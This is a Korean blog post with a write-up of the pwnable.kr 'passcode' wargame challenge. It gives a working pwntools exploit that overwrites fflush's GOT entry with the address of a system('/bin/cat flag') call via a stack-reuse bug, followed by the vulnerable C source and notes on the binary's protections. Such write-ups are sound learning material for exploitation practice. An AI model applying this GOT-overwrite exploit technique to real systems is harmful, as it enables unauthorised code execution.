security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] passcode

민사민서 2023. 2. 6. 21:20
from pwn import *
s = ssh(user="passcode", host="pwnable.kr", port=2222, password="guest")
p = s.process(executable="/home/passcode/passcode")

# No PIE이므로 코드영역, got영역 주소 그대로
p.recvuntil("enter you name : ")
p.sendline(b'A'*0x60+p32(0x804a004)) # ffllush@got
p.recvline()
p.recvuntil("enter passcode1 : ")
p.sendline(str(int(0x80485e3))) # system("/bin/cat flag") 코드부분

p.interactive()

 

<ls -l 결과>
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c
// setgid 설정되어있으므로 passcode통해 플래그 읽을 수 있음

<코드>
#include <stdio.h>
#include <stdlib.h>

void login(){
   int passcode1;
   int passcode2;

   printf("enter passcode1 : ");
   scanf("%d", passcode1);
   fflush(stdin);

   // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
   printf("enter passcode2 : ");
        scanf("%d", passcode2);

   printf("checking...\n");
   if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
      exit(0);
        }
}

void welcome(){
   char name[100];
   printf("enter you name : ");
   scanf("%100s", name);
   printf("Welcome %s!\n", name);
}

int main(){
   printf("Toddler's Secure Login System 1.0 beta.\n");

   welcome();
   login();

   // something after login...
   printf("Now I can safely trust you that you have credential :)\n");
   return 0;  
}

- scanf("%d", passcode1), scanf("%d", passcode2) 여기 문제
- 일단 scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home/minseo/Desktop/Pwnable_ex/pwnableKr/passcode
통해서 SSH로 접속해 파일 다운받는다! (아님 원격 gdb로 분석해도 ok)
- No Canary, No PIE, NX, Partial RELRO
=> 코드영역 주소 그대로, GOT Overwrite 가능!!
- name: [ebp-0x70], passcode1: [ebp-0x10], passcode2: [ebp-0xc]
** welcome과 login 서브루틴에서 ebp 위치는 동일!! (스택 재사용)
name의 마지막 4Byte = passcode1 위치 -> 원하는 주소에 값 쓸 수 있다!

- fflush 함수의 GOT overwrite: 어디로? system함수 호출 부분으로!
- got 해서 fflush@got.plt 주소 파악 가능 (0x804a004 - 일정!)
- 인자넣고 system 호출하는 부분 주소 파악(0x80485e3 - 일정!)